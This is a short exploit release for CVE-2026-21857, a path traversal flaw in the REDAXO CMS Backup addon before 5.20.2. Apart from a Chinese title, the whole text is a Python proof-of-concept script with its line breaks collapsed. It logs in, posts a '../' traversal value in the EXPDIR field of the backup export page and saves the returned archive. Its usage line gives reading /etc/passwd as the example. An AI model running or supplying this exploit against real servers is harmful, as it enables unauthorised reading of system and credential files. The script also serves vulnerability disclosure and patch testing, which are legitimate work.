CVE-2026-21857 REDAXO CMS Backup插件路径遍历漏洞

import requests import sys # CVE-2026-21857 PoC - REDAXO Backup Path Traversal # Target: REDAXO CMS < 5.20.2 def exploit(target_url, username, password, file_to_read): """ Exploit path traversal in REDAXO Backup addon """ session = requests.Session() # Step 1: Login to REDAXO login_url = f"{target_url}/redaxo/index.php" login_data = { 'form_id': 'login', 'login': username, 'password': password } resp = session.post(login_url, data=login_data) if 'login' in resp.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit path traversal via EXPDIR parameter backup_url = f"{target_url}/redaxo/index.php?page=backup/export" # Path traversal payload to read arbitrary file # Adjust the number of ../ based on target configuration traversal_path = "../../../../../../" + file_to_read exploit_data = { 'EXPDIR': traversal_path, 'send': '1' } print(f"[*] Sending exploit request for: {file_to_read}") resp = session.post(backup_url, data=exploit_data) # Check if we got a tar.gz file back if resp.headers.get('Content-Type') == 'application/gzip' or \ resp.headers.get('Content-Type') == 'application/x-gzip' or \ '.tar.gz' in resp.headers.get('Content-Disposition', ''): print("[+] Exploit successful! File archive received.") # Save the archive with open('exploit_output.tar.gz', 'wb') as f: f.write(resp.content) print("[+] Archive saved as exploit_output.tar.gz") return True else: print("[-] Exploit may have failed or file not found") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <file_path>") print("Example: python exploit.py http://target.com admin admin /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit(target, user, pwd, file_path)